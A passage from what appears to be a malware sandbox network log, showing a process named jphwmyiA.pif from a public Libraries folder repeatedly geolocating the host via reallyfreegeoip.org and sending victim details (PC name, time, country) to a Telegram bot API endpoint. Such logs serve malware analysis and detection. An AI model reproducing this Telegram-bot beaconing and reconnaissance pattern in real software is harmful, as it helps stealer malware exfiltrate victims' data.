2025-01-06 06:54:17 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	53591	188.114.97.3	443	7208	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:54:18 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-06 06:54:19 UTC	859	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:19 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1461248 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aCiDaoKnepmgsy%2BquECAmIZogswgb9e5osPap6V%2FAD5VKnPITieF%2FydxFLM3ofdB1L00q0z8LLNbCxHxeFkPcakj2%2FTjSboJsdaWMCg8i%2F9g29IWRCXGntEOTG4SWHSgzVvuCtNz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9cbc8bbdd4295-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1717&min_rtt=1712&rtt_var=652&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1663817&cwnd=252&unsent_bytes=0&cid=e0793f58be739003&ts=144&x=0"
2025-01-06 06:54:19 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	53604	188.114.97.3	443	7208	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:54:20 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-06 06:54:20 UTC	857	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:20 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1461249 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xWmyelvs5PxPPhrBRnJCwrx6QnId1jxNka2%2BV2rTY5qLUiW8Q7HaPUO7yB%2BMC8H9mfsdiDz5iygKcEnI5MPkSeCB7Iw0llTEsHuFtmr6IyqXtqoLuhNZQs58BX%2BXriUVeGLPOR%2FN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9cbd18e85de92-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1462&min_rtt=1456&rtt_var=559&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1932495&cwnd=246&unsent_bytes=0&cid=13e32961770a267d&ts=147&x=0"
2025-01-06 06:54:20 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	53612	188.114.97.3	443	7208	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:54:21 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-01-06 06:54:22 UTC	859	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:22 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1461251 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Wo9EkUV40RF0qcEL5r63%2BlZhu2mpkYTZ2KjdciMaoTCj7LgiYiY3diNNb6%2F9vZgEMqla%2FWeLrh184t7nODDi0JsOml2%2BWOfzvHU7CG45e8ALyjpdPQsqUcaT%2FMsocMljdNqcD2RD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9cbdbea88efa9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2015&min_rtt=2005&rtt_var=772&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1399137&cwnd=158&unsent_bytes=0&cid=1f88f0b69e3768cc&ts=151&x=0"
2025-01-06 06:54:22 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	53624	188.114.97.3	443	7208	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:54:23 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-01-06 06:54:23 UTC	857	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:23 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1461252 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Wu4W0a%2FNPbbKen0pZz5TQ7tDGqz%2BJld6vJaxg0ms0ptrIs%2BgUoJ1zeaDEsk8FOafP3KzFNCfGmCw3UwFY8MyD5sqqGeLQsZhVpIFH5uV%2Bv5P7BL5cfZr4AaTJcHCAtCPCsC8VekL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9cbe49de4c328-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1635&min_rtt=1632&rtt_var=619&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1755862&cwnd=177&unsent_bytes=0&cid=735a7068e5f059b1&ts=155&x=0"
2025-01-06 06:54:23 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	53636	188.114.97.3	443	7820	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:54:24 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-06 06:54:24 UTC	859	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:24 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1461253 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=T%2B1il1lvb4T8V7sjJYuLD8uOaAYTzo0s7cLQMKuH10%2FmOt9P4ueDUVrzFi68wC%2BoIjgUcQILM3BIUs4xjzKvvnLsQ1f%2BxjTaIyngnMR%2FtgYjF8552PtClyT9HMfD6mrk6Tm4gGLr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9cbecfe0f43c2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1589&min_rtt=1584&rtt_var=604&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1794714&cwnd=162&unsent_bytes=0&cid=da25282e4e71a675&ts=170&x=0"
2025-01-06 06:54:24 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	53637	188.114.97.3	443	7208	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:54:24 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-06 06:54:24 UTC	854	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:24 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1461253 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hV9wAzLSkUuKSNQY5URKRpPV9PmAPJc729xGDFfF1gL2K6UVEi%2Bi7iWJJODk8hKkXLBIZYLLK9ypy6LQxHLprD9mmf2sIyipft08rJ9bCq27FGYremVDQqzjfaQAOmwL%2F%2BdeIbK3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9cbed4f784273-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1776&min_rtt=1775&rtt_var=669&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1632196&cwnd=32&unsent_bytes=0&cid=020eb63f55741d7b&ts=142&x=0"
2025-01-06 06:54:24 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	53643	149.154.167.220	443	7208	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:54:25 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:675052%0D%0ADate%20and%20Time:%2006/01/2025%20/%2013:18:56%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20675052%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2025-01-06 06:54:25 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 06:54:25 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 06:54:25 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	53644	188.114.97.3	443	7820	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:54:25 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-01-06 06:54:25 UTC	857	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:25 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1461254 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pHK8k1sTlefWu7XbDssev%2BIhyN8qdJkFUjndizeeAB6retYQnqtEAHY%2BFaRusmDA621uCodsR3v6LQIyrYcLfjzKD%2Fkutz95Mw4NefjxDUd3KdSLbDls%2BpbDLPVnuEa9wZxQusBs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9cbf27fa18c89-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1775&min_rtt=1761&rtt_var=688&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1558996&cwnd=202&unsent_bytes=0&cid=0e4caa62b51caf5e&ts=156&x=0"
2025-01-06 06:54:25 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	53657	188.114.97.3	443	7820	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:54:27 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-06 06:54:27 UTC	851	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:27 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1461256 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YTBjnRSux85wMqOO2zPipvBXJkITZf6Q5UZ6eRHqUwa7eic0Xl6ayUdxKt8uZHgar9D2edjHuynkXXBHBahGvmrphu38KN2UiGBg%2BjOXjzc4iHPUCDkN8nHBzxUJIAkpQzJERI3l"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9cbfdcf0342be-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1711&min_rtt=1692&rtt_var=673&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1580086&cwnd=213&unsent_bytes=0&cid=11eab855c418c4d2&ts=161&x=0"
2025-01-06 06:54:27 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	53667	188.114.97.3	443	7820	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:54:28 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-06 06:54:28 UTC	867	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:28 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1461258 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hzm%2BsE4m5jVdSlP4BWZB1Q2%2BGOcoLy9QX7R6TWHyfT1nbo85jU%2BnwOtfuZR5DJR2Pg1V8Donri3m49t4A%2FHKMi%2BzPHg%2BXQcY7ZoUUa8jocZxUpGG1oO%2FHy%2FPaY4dI%2BOtTWXsSuWp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9cc06a8668c59-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1803&min_rtt=1801&rtt_var=680&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1604395&cwnd=196&unsent_bytes=0&cid=8ba1ad52375b5f16&ts=135&x=0"
2025-01-06 06:54:28 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United 